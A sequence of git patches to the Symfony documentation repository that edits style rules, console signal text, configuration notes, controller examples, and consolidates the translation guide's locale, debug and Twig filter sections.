From 1888db45adc535c81bd33cf98fe041994e436c63 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 25 Jan 2023 10:44:25 +0100
Subject: [PATCH 2827/5766] [Standards] Freeze contractions decision in
 documentation standards

---
 contributing/documentation/standards.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/contributing/documentation/standards.rst b/contributing/documentation/standards.rst
index 8e266f68cab..ba7a1b0c9e0 100644
--- a/contributing/documentation/standards.rst
+++ b/contributing/documentation/standards.rst
@@ -190,6 +190,10 @@ In addition, documentation follows these rules:
   * simply
   * trivial
 
+* Contractions are allowed to be used across the documentation. This means
+  you're allowed to write ``you would`` as well as ``you'd``, ``it is`` as
+  well as ``it's``, etc.
+
 .. _`the Sphinx documentation`: https://www.sphinx-doc.org/en/master/usage/restructuredtext/basics.html#literal-blocks
 .. _`Twig Coding Standards`: https://twig.symfony.com/doc/3.x/coding_standards.html
 .. _`reserved by the IANA`: https://tools.ietf.org/html/rfc2606#section-3

From cb1c863e07f3cd42032d96f81f700db832b776e2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 25 Jan 2023 12:10:31 +0100
Subject: [PATCH 2828/5766] Tweaks

---
 components/console/events.rst | 14 ++++++--------
 1 file changed, 6 insertions(+), 8 deletions(-)

diff --git a/components/console/events.rst b/components/console/events.rst
index 9f5caf67f15..87b44f56407 100644
--- a/components/console/events.rst
+++ b/components/console/events.rst
@@ -218,17 +218,15 @@ handle signals themselves. To do so, implement the
         }
     }
 
-It is your responsibility to handle signals that are relevant to you (even
-``SIGKILL``, ``SIGTERM``, etc). This allows you to ignore them or do tasks
-before terminating the process for example. This behavior is intended, as
-it leaves more flexibility to developers to handle each type of signal the
-way they want to.
+Symfony doesn't handle any signal received by the command (not even ``SIGKILL``,
+``SIGTERM``, etc). This behavior is intended, as it gives you the flexibility to
+handle all signals e.g. to do some tasks before terminating the command.
 
 .. deprecated:: 6.3
 
-    In Symfony versions previous to 6.3, all signals (except from ``SIGUSR1`` and
-    ``SIGUSR2``) would terminate the script by calling ``exit(0)``. From Symfony 6.3,
-    no more signal is automatically calling ``exit(0)``.
+    In Symfony versions previous to 6.3, all signals (except ``SIGUSR1`` and
+    ``SIGUSR2``) would terminate the script by calling ``exit(0)``. Starting
+    from Symfony 6.3, no more signal is automatically calling ``exit(0)``.
 
 .. _`reserved exit codes`: https://www.tldp.org/LDP/abs/html/exitcodes.html
 .. _`Signals`: https://en.wikipedia.org/wiki/Signal_(IPC)

From 13296be79c6cbfb25c394d492900032e6e8453de Mon Sep 17 00:00:00 2001
From: Roman Glukhenko <grn-it@yandex.ru>
Date: Wed, 25 Jan 2023 17:30:20 +0400
Subject: [PATCH 2829/5766] [Configuration] fixed list markup

---
 configuration.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 49f3ac3b0c2..e447d21c772 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -20,8 +20,7 @@ directory, which has this default structure:
     │  └─ services.yaml
 
 * The ``routes.yaml`` file defines the :doc:`routing configuration </routing>`;
-* The ``services.yaml`` file configures the services of the
-:doc:`service container </service_container>`;
+* The ``services.yaml`` file configures the services of the :doc:`service container </service_container>`;
 * The ``bundles.php`` file enables/disables packages in your application;
 * The ``config/packages/`` directory stores the configuration of every package
   installed in your application.

From a5c70a8934c91023287d162adfe95f025312f7b3 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 26 Jan 2023 13:26:44 +0100
Subject: [PATCH 2830/5766] [DependencyInjection] Introduce build parameters

---
 configuration.rst | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/configuration.rst b/configuration.rst
index 581e55ae118..98fe99c86d6 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -376,6 +376,19 @@ Configuration parameters are very common in Symfony applications. Some packages
 even define their own parameters (e.g. when installing the translation package,
 a new ``locale`` parameter is added to the ``config/services.yaml`` file).
 
+.. tip::
+
+    When working with :ref:`Compiler Passes </service_container/compiler_passes>`,
+    you have the possibility to declare parameters that will only be available
+    during the container compilation. These parameters will be automatically removed
+    from the container once its build is done. To declare parameters only
+    available at compile-time, pre-prend their name with a dot ``.`` (for example,
+    ``.mailer.transport``).
+
+.. versionadded:: 6.3
+
+    Parameters only available at compile time were introduced in Symfony 6.3.
+
 .. seealso::
 
     Later in this article you can read how to

From a41876f37be948f7ac73666dae8296b86de216b9 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 26 Jan 2023 13:36:36 +0100
Subject: [PATCH 2831/5766] [Misc] Fixed remaining `HEAD`

---
 configuration.rst                   | 17 -----------------
 contributing/code/pull_requests.rst |  4 ----
 2 files changed, 21 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 97c1df43e6b..75802149c45 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -106,23 +106,6 @@ readable. These are the main advantages and disadvantages of each format:
             }
         }
 
-<<<<<<< HEAD
-=======
-There isn't any practical difference between formats. In fact, Symfony
-transforms and caches all of them into PHP before running the application, so
-there's not even any performance difference between them.
-
-YAML is used by default when installing packages because it's concise and very
-readable. These are the main advantages and disadvantages of each format:
-
-* **YAML**: simple, clean and readable, but not all IDEs support autocompletion
-  and validation for it. :ref:`Learn the YAML syntax <yaml-format>`;
-* **XML**: autocompleted/validated by most IDEs and is parsed natively by PHP,
-  but sometimes it generates configuration considered too verbose. `Learn the XML syntax`_;
-* **PHP**: very powerful and it allows you to create dynamic configuration with
-  arrays or a :ref:`ConfigBuilder <config-config-builder>`.
-
->>>>>>> 5.4
 Importing Configuration Files
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 289e6dbfa5a..fe8d9c5c1e0 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -505,11 +505,7 @@ PR. Before re-submitting the PR, rebase with ``upstream/6.x`` or
 
 .. code-block:: terminal
 
-<<<<<<< HEAD
-    $ git rebase -f upstream/6.1
-=======
     $ git rebase -f upstream/6.x
->>>>>>> 5.4
     $ git push --force origin BRANCH_NAME
 
 .. note::

From 59b62f07decd9e960cf78754978d901e3fda1b67 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 26 Jan 2023 13:39:46 +0100
Subject: [PATCH 2832/5766] Minor tweak

---
 contributing/documentation/standards.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/contributing/documentation/standards.rst b/contributing/documentation/standards.rst
index ba7a1b0c9e0..ee4b7b4c580 100644
--- a/contributing/documentation/standards.rst
+++ b/contributing/documentation/standards.rst
@@ -190,9 +190,8 @@ In addition, documentation follows these rules:
   * simply
   * trivial
 
-* Contractions are allowed to be used across the documentation. This means
-  you're allowed to write ``you would`` as well as ``you'd``, ``it is`` as
-  well as ``it's``, etc.
+* **Contractions** are allowed: e.g. you can write ``you would`` as well as ``you'd``,
+  ``it is`` as well as ``it's``, etc.
 
 .. _`the Sphinx documentation`: https://www.sphinx-doc.org/en/master/usage/restructuredtext/basics.html#literal-blocks
 .. _`Twig Coding Standards`: https://twig.symfony.com/doc/3.x/coding_standards.html

From a2df57552bb4a212b56d5e97a9a0e376eabc154b Mon Sep 17 00:00:00 2001
From: hbengamra <ha.ben.gamra@gmail.com>
Date: Mon, 23 Jan 2023 22:00:53 +0100
Subject: [PATCH 2833/5766] Update tags.rst

Optimize getTransport() function
---
 service_container/tags.rst | 6 +-----
 1 file changed, 1 insertion(+), 5 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index e34a01a7739..6d0e71539b4 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -405,11 +405,7 @@ To begin with, change the ``TransportChain`` class::
 
         public function getTransport($alias): ?\MailerTransport
         {
-            if (array_key_exists($alias, $this->transports)) {
-                return $this->transports[$alias];
-            }
-
-            return null;
+            return  return $this->transports[$alias] ?? null;
         }
     }
 

From 174db698b92877ef92b704c78317c1e6806d21e4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 26 Jan 2023 13:51:01 +0100
Subject: [PATCH 2834/5766] Minor fix

---
 service_container/tags.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 6d0e71539b4..0097d059c76 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -405,7 +405,7 @@ To begin with, change the ``TransportChain`` class::
 
         public function getTransport($alias): ?\MailerTransport
         {
-            return  return $this->transports[$alias] ?? null;
+            return $this->transports[$alias] ?? null;
         }
     }
 

From be05e9c03aedb0b245be7c3075add31c12e09c84 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Fri, 27 Jan 2023 12:10:32 +0100
Subject: [PATCH 2835/5766] Replace warning with caution for consistency

---
 reference/constraints/Callback.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Callback.rst b/reference/constraints/Callback.rst
index bf9f14b29e4..e3f68c2b788 100644
--- a/reference/constraints/Callback.rst
+++ b/reference/constraints/Callback.rst
@@ -278,7 +278,7 @@ constructor of the Callback constraint::
         }
     }
 
-.. warning::
+.. caution::
 
     Using a ``Closure`` together with annotation configuration will disable the
     annotation cache for that class/property/method because ``Closure`` cannot

From e7c3639fd81271b867be1ec74dd24ef489c0bbf2 Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Fri, 27 Jan 2023 15:52:33 +0100
Subject: [PATCH 2836/5766] Remove mentions of renderForm()

---
 controller/upload_file.rst         | 2 +-
 form/direct_submit.rst             | 2 +-
 form/dynamic_form_modification.rst | 2 +-
 form/form_collections.rst          | 2 +-
 4 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index 360965c93ed..c1ac6d4e29d 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -170,7 +170,7 @@ Finally, you need to update the code of the controller that handles the form::
                 return $this->redirectToRoute('app_product_list');
             }
 
-            return $this->renderForm('product/new.html.twig', [
+            return $this->render('product/new.html.twig', [
                 'form' => $form,
             ]);
         }
diff --git a/form/direct_submit.rst b/form/direct_submit.rst
index a7c623dad19..1afc35611ea 100644
--- a/form/direct_submit.rst
+++ b/form/direct_submit.rst
@@ -29,7 +29,7 @@ control over when exactly your form is submitted and what data is passed to it::
             }
         }
 
-        return $this->renderForm('task/new.html.twig', [
+        return $this->render('task/new.html.twig', [
             'form' => $form,
         ]);
     }
diff --git a/form/dynamic_form_modification.rst b/form/dynamic_form_modification.rst
index 7f51249b731..5866ded610d 100644
--- a/form/dynamic_form_modification.rst
+++ b/form/dynamic_form_modification.rst
@@ -534,7 +534,7 @@ your application. Assume that you have a sport meetup creation controller::
                 // ... save the meetup, redirect etc.
             }
 
-            return $this->renderForm('meetup/create.html.twig', [
+            return $this->render('meetup/create.html.twig', [
                 'form' => $form,
             ]);
         }
diff --git a/form/form_collections.rst b/form/form_collections.rst
index 03858d21e15..37ed44b2f6a 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -164,7 +164,7 @@ In your controller, you'll create a new form from the ``TaskType``::
                 // ... do your form processing, like saving the Task and Tag entities
             }
 
-            return $this->renderForm('task/new.html.twig', [
+            return $this->render('task/new.html.twig', [
                 'form' => $form,
             ]);
         }

From 60b5460ec32ed7a56d7c22fff53aaed1469a40c0 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Wed, 25 Jan 2023 11:11:24 +0100
Subject: [PATCH 2837/5766] [Translation] Translation docs consolidation

---
 _build/redirection_map |   3 +
 translation.rst        | 679 +++++++++++++++++++++++++++++++++--------
 translation/debug.rst  | 214 -------------
 translation/lint.rst   |  62 ----
 translation/locale.rst | 204 -------------
 5 files changed, 563 insertions(+), 599 deletions(-)
 delete mode 100644 translation/debug.rst
 delete mode 100644 translation/lint.rst
 delete mode 100644 translation/locale.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index c58e85b6c23..0001aef3369 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -456,6 +456,9 @@
 /templating/inheritance /templates#template-inheritance-and-layouts
 /testing/doctrine /testing/database
 /translation/templates /translation#translation-in-templates
+/translation/debug /translation#translation-debug
+/translation/lint /translation#translation-lint
+/translation/locale /translation#translation-locale
 /doctrine/lifecycle_callbacks /doctrine/events
 /doctrine/event_listeners_subscribers /doctrine/events
 /doctrine/common_extensions /doctrine
diff --git a/translation.rst b/translation.rst
index b11136dffb6..d0c8c984a56 100644
--- a/translation.rst
+++ b/translation.rst
@@ -26,6 +26,11 @@ into the language of the user::
     *language* code, an underscore (``_``), then the `ISO 3166-1 alpha-2`_
     *country* code (e.g. ``fr_FR`` for French/France) is recommended.
 
+Translations can be organized into groups, called **domains**. By default, all
+messages use the default ``messages`` domain::
+
+    echo $translator->trans('Hello World', domain: 'messages');
+
 The translation process has several steps:
 
 #. :ref:`Enable and configure <translation-configuration>` Symfony's
@@ -103,19 +108,17 @@ are located:
             ;
         };
 
-The locale used in translations is the one stored on the request. This is
-typically set via a ``_locale`` attribute on your routes (see :ref:`translation-locale-url`).
-
 .. _translation-basic:
 
 Basic Translation
 -----------------
 
-Translation of text is done through the  ``translator`` service
-(:class:`Symfony\\Component\\Translation\\Translator`). To translate a block
-of text (called a *message*), use the
+Translation of text is done through the ``translator`` service
+(:class:`Symfony\\Component\\Translation\\Translator`). To translate a block of
+text (called a *message*), use the
 :method:`Symfony\\Component\\Translation\\Translator::trans` method. Suppose,
-for example, that you're translating a static message from inside a controller::
+for example, that you're translating a static message from inside a
+controller::
 
     // ...
     use Symfony\Contracts\Translation\TranslatorInterface;
@@ -251,25 +254,19 @@ The Translation Process
 To actually translate the message, Symfony uses the following process when
 using the ``trans()`` method:
 
-#. The ``locale`` of the current user, which is stored on the request is determined;
+#. The ``locale`` of the current user, which is stored on the request is
+   determined; this is typically set via a ``_locale`` attribute on your routes
+   (see :ref:`translation-locale-url`);
 
-#. A catalog (e.g. big collection) of translated messages is loaded from translation
-   resources defined for the ``locale`` (e.g. ``fr_FR``). Messages from the
-   :ref:`fallback locale <translation-fallback>` are also loaded and
-   added to the catalog if they don't already exist. The end result is a large
-   "dictionary" of translations. This catalog is cached in production to
-   minimize performance impact.
+#. A catalog of translated messages is loaded from translation resources
+   defined for the ``locale`` (e.g. ``fr_FR``). Messages from the
+   :ref:`fallback locale <translation-fallback>` are also loaded and added to
+   the catalog if they don't already exist. The end result is a large
+   "dictionary" of translations.
 
 #. If the message is located in the catalog, the translation is returned. If
    not, the translator returns the original message.
 
-.. tip::
-
-    When translating strings that are not in the default domain (``messages``),
-    you must specify the domain as the third argument of ``trans()``::
-
-        $translator->trans('Symfony is great', [], 'admin');
-
 .. _message-placeholders:
 .. _pluralization:
 
@@ -297,22 +294,6 @@ To manage these situations, Symfony follows the `ICU MessageFormat`_ syntax by
 using PHP's :phpclass:`MessageFormatter` class. Read more about this in
 :doc:`/translation/message_format`.
 
-.. tip::
-
-    If you don't use the ICU MessageFormat syntax in your translation files,
-    pass a parameter named "%count%" to select the best plural form of the message:
-
-    .. code-block:: twig
-
-       {{ message|trans({'%name%': '...', '%count%': 1}, 'app') }}
-
-    The ``message`` variable must include all the different versions of this
-    message based on the value of the ``count`` parameter. For example:
-
-    .. code-block:: text
-
-        {0}%name% has no apples|{1}%name% has one apple|]1,Inf[ %name% has %count% apples
-
 .. _translatable-objects:
 
 Translatable Objects
@@ -362,6 +343,41 @@ Translations in Templates
 Most of the time, translation occurs in templates. Symfony provides native
 support for both Twig and PHP templates.
 
+.. _translation-filters:
+
+Using Twig Filters
+~~~~~~~~~~~~~~~~~~
+
+The ``trans`` filter can be used to translate *variable texts* and complex expressions:
+
+.. code-block:: twig
+
+    {{ message|trans }}
+
+    {{ message|trans({'%name%': 'Fabien'}, 'app') }}
+
+.. tip::
+
+    You can set the translation domain for an entire Twig template with a single tag:
+
+    .. code-block:: twig
+
+       {% trans_default_domain 'app' %}
+
+    Note that this only influences the current template, not any "included"
+    template (in order to avoid side effects).
+
+By default, the translated messages are output escaped; apply the ``raw``
+filter after the translation filter to avoid the automatic escaping:
+
+.. code-block:: html+twig
+
+    {% set message = '<h3>foo</h3>' %}
+
+    {# strings and variables translated via a filter are escaped by default #}
+    {{ message|trans|raw }}
+    {{ '<h3>bar</h3>'|trans|raw }}
+
 .. _translation-tags:
 
 Using Twig Tags
@@ -392,50 +408,11 @@ You can also specify the message domain and pass some additional variables:
 
     {% trans with {'%name%': 'Fabien'} from 'app' into 'fr' %}Hello %name%{% endtrans %}
 
-.. _translation-filters:
-
-Using Twig Filters
-~~~~~~~~~~~~~~~~~~
-
-The ``trans`` filter can be used to translate *variable texts* and complex expressions:
-
-.. code-block:: twig
-
-    {{ message|trans }}
-
-    {{ message|trans({'%name%': 'Fabien'}, 'app') }}
-
-.. tip::
-
-    Using the translation tags or filters have the same effect, but with
-    one subtle difference: automatic output escaping is only applied to
-    translations using a filter. In other words, if you need to be sure
-    that your translated message is *not* output escaped, you must apply
-    the ``raw`` filter after the translation filter:
-
-    .. code-block:: html+twig
-
-        {# text translated between tags is never escaped #}
-        {% trans %}
-            <h3>foo</h3>
-        {% endtrans %}
-
-        {% set message = '<h3>foo</h3>' %}
-
-        {# strings and variables translated via a filter are escaped by default #}
-        {{ message|trans|raw }}
-        {{ '<h3>bar</h3>'|trans|raw }}
-
-.. tip::
-
-    You can set the translation domain for an entire Twig template with a single tag:
-
-    .. code-block:: twig
-
-       {% trans_default_domain 'app' %}
+.. caution::
 
-    Note that this only influences the current template, not any "included"
-    template (in order to avoid side effects).
+Using the translation tag has the same effect as the filter, but with one
+major difference: automatic output escaping is **not** applied to translations
+using a tag.
 
 Forcing the Translator Locale
 -----------------------------
@@ -444,17 +421,12 @@ When translating a message, the translator uses the specified locale or the
 ``fallback`` locale if necessary. You can also manually specify the locale to
 use for translation::
 
-    $translator->trans(
-        'Symfony is great',
-        [],
-        'messages',
-        'fr_FR'
-    );
+    $translator->trans('Symfony is great', locale: 'fr_FR');
 
 Extracting Translation Contents and Updating Catalogs Automatically
 -------------------------------------------------------------------
 
-The most time-consuming tasks when translating an application is to extract all
+The most time-consuming task when translating an application is to extract all
 the template contents to be translated and to keep all the translation files in
 sync. Symfony includes a command called ``translation:extract`` that helps you
 with these tasks:
@@ -513,10 +485,7 @@ priority message files.
 The filename of the translation files is also important: each message file
 must be named according to the following path: ``domain.locale.loader``:
 
-* **domain**: Domains are a way to organize messages into groups. Unless
-  parts of the application are explicitly separated from each other, it is
-  recommended to only use the default ``messages`` domain (e.g.
-  ``messages.en.yaml``).
+* **domain**: The translation domain;
 
 * **locale**: The locale that the translations are for (e.g. ``en_GB``, ``en``, etc);
 
@@ -598,10 +567,15 @@ if you're generating translations with specialized programs or teams.
 
 .. note::
 
-    You can also store translations in a database, or any other storage by
-    providing a custom class implementing the
-    :class:`Symfony\\Component\\Translation\\Loader\\LoaderInterface` interface.
-    See the :ref:`dic-tags-translation-loader` tag for more information.
+    You can also store translations in a database; it can be handled by
+    Doctrine through the `Translatable Extension`_ or the `Translatable
+    Behavior`_ (PHP 5.4+). For more information, see the documentation for
+    these libraries.
+
+    For any other storage, you need to provide a custom class implementing the
+    :class:`Symfony\\Component\\Translation\\Loader\\LoaderInterface`
+    interface. See the :ref:`dic-tags-translation-loader` tag for more
+    information.
 
 .. _translation-providers:
 
@@ -617,9 +591,9 @@ them the new contents to translate frequently and merge the results back in the
 application.
 
 Instead of doing this manually, Symfony provides integration with several
-third-party translation services (e.g. Crowdin or Lokalise). You can upload and
-download (called "push" and "pull") translations to/from these services and
-merge the results automatically in the application.
+third-party translation services. You can upload and download (called "push"
+and "pull") translations to/from these services and merge the results
+automatically in the application.
 
 Installing and Configuring a Third Party Provider
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -666,7 +640,7 @@ Loco (localise.biz)    loco://API_KEY@default
 Lokalise               lokalise://PROJECT_ID:API_KEY@default
 =====================  ==========================================================
 
-To enable a translation provider, add the correct DSN in your ``.env`` file and
+To enable a translation provider, customize the DSN in your ``.env`` file and
 configure the ``providers`` option:
 
 .. configuration-block::
@@ -724,10 +698,12 @@ configure the ``providers`` option:
 
 .. tip::
 
-    If you use Lokalise as provider and a locale format following the `ISO 639-1`_ (e.g. "en" or "fr"),
-    you have to set the `Custom Language Name setting`_ in Lokalise for each of your locales,
-    in order to override the default value (which follow the `ISO 639-1`_ succeeded by a sub-code
-    in capital letters that specifies the national variety (e.g. "GB" or "US" according to `ISO 3166-1 alpha-2`_)).
+    If you use Lokalise as a provider and a locale format following the `ISO
+    639-1`_ (e.g. "en" or "fr"), you have to set the `Custom Language Name
+    setting`_ in Lokalise for each of your locales, in order to override the
+    default value (which follow the `ISO 639-1`_ succeeded by a sub-code in
+    capital letters that specifies the national variety (e.g. "GB" or "US"
+    according to `ISO 3166-1 alpha-2`_)).
 
 Pushing and Pulling Translations
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -770,11 +746,212 @@ now use the following commands to push (upload) and pull (download) translations
     # check out the command help to see its options (format, domains, locales, intl-icu, etc.)
     $ php bin/console translation:pull --help
 
+.. _translation-locale:
+
+.. index::
+    single: Translation; Locale
+
 Handling the User's Locale
 --------------------------
 
-Translating happens based on the user's locale. Read :doc:`/translation/locale`
-to learn more about how to handle it.
+Translating happens based on the user's locale. The locale of the current user
+is stored in the request and is accessible via the ``Request`` object::
+
+    use Symfony\Component\HttpFoundation\Request;
+
+    public function index(Request $request)
+    {
+        $locale = $request->getLocale();
+    }
+
+To set the user's locale, you may want to create a custom event listener so
+that it's set before any other parts of the system (i.e. the translator) need
+it::
+
+        public function onKernelRequest(RequestEvent $event)
+        {
+            $request = $event->getRequest();
+
+            // some logic to determine the $locale
+            $request->setLocale($locale);
+        }
+
+.. note::
+
+    The custom listener must be called **before** ``LocaleListener``, which
+    initializes the locale based on the current request. To do so, set your
+    listener priority to a higher value than ``LocaleListener`` priority (which
+    you can obtain by running the ``debug:event kernel.request`` command).
+
+Read :ref:`locale-sticky-session` for more information on making the user's
+locale "sticky" to their session.
+
+.. note::
+
+    Setting the locale using ``$request->setLocale()`` in the controller is
+    too late to affect the translator. Either set the locale via a listener
+    (like above), the URL (see next) or call ``setLocale()`` directly on the
+    ``translator`` service.
+
+See the :ref:`translation-locale-url` section below about setting the
+locale via routing.
+
+.. _translation-locale-url:
+
+The Locale and the URL
+~~~~~~~~~~~~~~~~~~~~~~
+
+Since you can store the locale of the user in the session, it may be tempting
+to use the same URL to display a resource in different languages based on the
+user's locale. For example, ``http://www.example.com/contact`` could show
+content in English for one user and French for another user. Unfortunately,
+this violates a fundamental rule of the Web: that a particular URL returns the
+same resource regardless of the user. To further muddy the problem, which
+version of the content would be indexed by search engines?
+
+A better policy is to include the locale in the URL using the
+:ref:`special _locale parameter <routing-locale-parameter>`:
+
+.. configuration-block::
+
+    .. code-block:: php-annotations
+
+        // src/Controller/ContactController.php
+        namespace App\Controller;
+
+        // ...
+        class ContactController extends AbstractController
+        {
+            /**
+             * @Route(
+             *     "/{_locale}/contact",
+             *     name="contact",
+             *     requirements={
+             *         "_locale": "en|fr|de",
+             *     }
+             * )
+             */
+            public function contact()
+            {
+            }
+        }
+        
+    .. code-block:: php-attributes
+
+        // src/Controller/ContactController.php
+        namespace App\Controller;
+
+        // ...
+        class ContactController extends AbstractController
+        {
+            #[Route(
+                path: '/{_locale}/contact',
+                name: 'contact',
+                requirements: [
+                    '_locale' => 'en|fr|de',
+                ],
+            )]
+            public function contact()
+            {
+            }
+        }
+
+    .. code-block:: yaml
+
+        # config/routes.yaml
+        contact:
+            path:       /{_locale}/contact
+            controller: App\Controller\ContactController::index
+            requirements:
+                _locale: en|fr|de
+
+    .. code-block:: xml
+
+        <!-- config/routes.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <routes xmlns="http://symfony.com/schema/routing"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/routing
+                https://symfony.com/schema/routing/routing-1.0.xsd">
+
+            <route id="contact" path="/{_locale}/contact">
+                controller="App\Controller\ContactController::index">
+                <requirement key="_locale">en|fr|de</requirement>
+            </route>
+        </routes>
+
+    .. code-block:: php
+
+        // config/routes.php
+        use App\Controller\ContactController;
+        use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
+
+        return function (RoutingConfigurator $routes) {
+            $routes->add('contact', '/{_locale}/contact')
+                ->controller([ContactController::class, 'index'])
+                ->requirements([
+                    '_locale' => 'en|fr|de',
+                ])
+            ;
+        };
+
+When using the special ``_locale`` parameter in a route, the matched locale
+is *automatically set on the Request* and can be retrieved via the
+:method:`Symfony\\Component\\HttpFoundation\\Request::getLocale` method. In
+other words, if a user visits the URI ``/fr/contact``, the locale ``fr`` will
+automatically be set as the locale for the current request.
+
+You can now use the locale to create routes to other translated pages in your
+application.
+
+.. tip::
+
+    Define the locale requirement as a :ref:`container parameter <configuration-parameters>`
+    to avoid hardcoding its value in all your routes.
+
+.. index::
+    single: Translations; Fallback and default locale
+
+.. _translation-default-locale:
+
+Setting a Default Locale
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+What if the user's locale hasn't been determined? You can guarantee that a
+locale is set on each user's request by defining a ``default_locale`` for
+the framework:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/translation.yaml
+        framework:
+            default_locale: en
+
+    .. code-block:: xml
+
+        <!-- config/packages/translation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config default-locale="en"/>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/translation.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->defaultLocale('en');
+        };
 
 .. _translation-fallback:
 
@@ -846,20 +1023,286 @@ checks translation resources for several locales:
     add the missing translation to the log file. For details,
     see :ref:`reference-framework-translator-logging`.
 
-Translating Database Content
-----------------------------
+.. _translation-debug:
+
+.. index::
+    single: Translation; Debug
+    single: Translation; Missing Messages
+    single: Translation; Unused Messages
+
+How to Find Missing or Unused Translation Messages
+--------------------------------------------------
+
+When you work with many translation messages in different languages, it can be
+hard to keep track which translations are missing and which are not used
+anymore. The ``debug:translation`` command helps you to find these missing or
+unused translation messages templates:
+
+.. code-block:: twig
+
+    {# messages can be found when using the trans filter and tag #}
+    {% trans %}Symfony is great{% endtrans %}
+
+    {{ 'Symfony is great'|trans }}
+
+.. caution::
+
+    The extractors can't find messages translated outside templates (like form
+    labels or controllers) unless using :ref:`translatable-objects` or calling
+    the ``trans()`` method on a translator (since Symfony 5.3). Dynamic
+    translations using variables or expressions in templates are not
+    detected either:
+
+    .. code-block:: twig
+
+        {# this translation uses a Twig variable, so it won't be detected #}
+        {% set message = 'Symfony is great' %}
+        {{ message|trans }}
+
+Suppose your application's default_locale is ``fr`` and you have configured
+``en`` as the fallback locale (see :ref:`translation-configuration` and
+:ref:`translation-fallback` for how to configure these). And suppose
+you've already setup some translations for the ``fr`` locale:
+
+.. configuration-block::
+
+    .. code-block:: xml
+
+        <!-- translations/messages.fr.xlf -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
+            <file source-language="en" datatype="plaintext" original="file.ext">
+                <body>
+                    <trans-unit id="1">
+                        <source>Symfony is great</source>
+                        <target>J'aime Symfony</target>
+                    </trans-unit>
+                </body>
+            </file>
+        </xliff>
+
+    .. code-block:: yaml
+
+        # translations/messages.fr.yaml
+        Symfony is great: J'aime Symfony
+
+    .. code-block:: php
+
+        // translations/messages.fr.php
+        return [
+            'Symfony is great' => 'J\'aime Symfony',
+        ];
+
+and for the ``en`` locale:
+
+.. configuration-block::
+
+    .. code-block:: xml
+
+        <!-- translations/messages.en.xlf -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
+            <file source-language="en" datatype="plaintext" original="file.ext">
+                <body>
+                    <trans-unit id="1">
+                        <source>Symfony is great</source>
+                        <target>Symfony is great</target>
+                    </trans-unit>
+                </body>
+            </file>
+        </xliff>
+
+    .. code-block:: yaml
+
+        # translations/messages.en.yaml
+        Symfony is great: Symfony is great
+
+    .. code-block:: php
+
+        // translations/messages.en.php
+        return [
+            'Symfony is great' => 'Symfony is great',
+        ];
+
+To inspect all messages in the ``fr`` locale for the application, run:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:translation fr
+
+    ---------  ------------------  ----------------------  -------------------------------
+     State      Id                  Message Preview (fr)    Fallback Message Preview (en)
+    ---------  ------------------  ----------------------  -------------------------------
+     unused     Symfony is great    J'aime Symfony          Symfony is great
+    ---------  ------------------  ----------------------  -------------------------------
+
